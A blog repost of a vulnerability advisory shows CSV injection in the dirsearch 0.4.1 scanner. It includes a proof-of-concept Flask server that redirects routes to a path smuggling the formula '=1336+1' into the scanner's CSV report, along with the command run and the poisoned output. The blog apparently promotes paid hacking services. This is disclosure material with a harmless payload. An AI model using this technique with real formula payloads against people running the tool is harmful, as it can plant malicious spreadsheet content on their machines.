Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86395293

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: dirsearch 0.4.1 - CSV Injection
# Author: Dolev Farhi
# Date: 2021-01-05
# Vendor Homepage: https://github.com/maurosoria/dirsearch
# Version : 0.4.1
# Tested on: Debian 9.13

dirsearch, when used with the --csv-report flag, writes the results of crawled endpoints which redirect(, to a csv file without sanitization.
A malicious server can redirect all of its routes/paths to a path that contains a comma and formula, e.g. /test,=1336+1, and escape the normal dirsearch CSV structure to inject its own formula.

Malicious Flask Webserver:

"""
from flask import Flask, redirect
app = Flask(__name__)

@app.route('/')
def index():
 return redirect('/test,=1336+1')

@app.route('/admin')
def admin():
 return redirect('/test,=1336+1')

@app.route('/login')
def login():
 return redirect('/test,=1336+1')
"""


2. Tester runs dirsearch
root@host:~/# python3 dirsearch.py -u http://10.0.0.1 --csv-report=report.csv 


  _|. _ _  _  _  _ _|_    v0.4.1
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm, js | HTTP method: GET | Threads: 30 | Wordlist size: 2

Error Log: /root/tools/dirsearch/logs/errors-21-01-06_04-29-10.log

Target: http://10.0.0.1

Output File: /root/tools/dirsearch/reports/10.0.0.1/_21-01-06_04-29-10.txt

[04:29:10] Starting: 
[04:29:11] 302 -  233B  - /admin  ->  http://10.0.0.1/test,=1336+1
[04:29:11] 302 -  233B  - /login  ->  http://10.0.0.1/test,=1336+1


3. Result CSV

root@host:~/# cat report.csv

Time,URL,Status,Size,Redirection
Wed Jan  6 04:29:11 2021,http://10.0.0.1:80/admin,302,233,http://10.0.0.1/test,=1336+1
Wed Jan  6 04:29:11 2021,http://10.0.0.1:80/login,302,233,http://10.0.0.1/test,=1336+1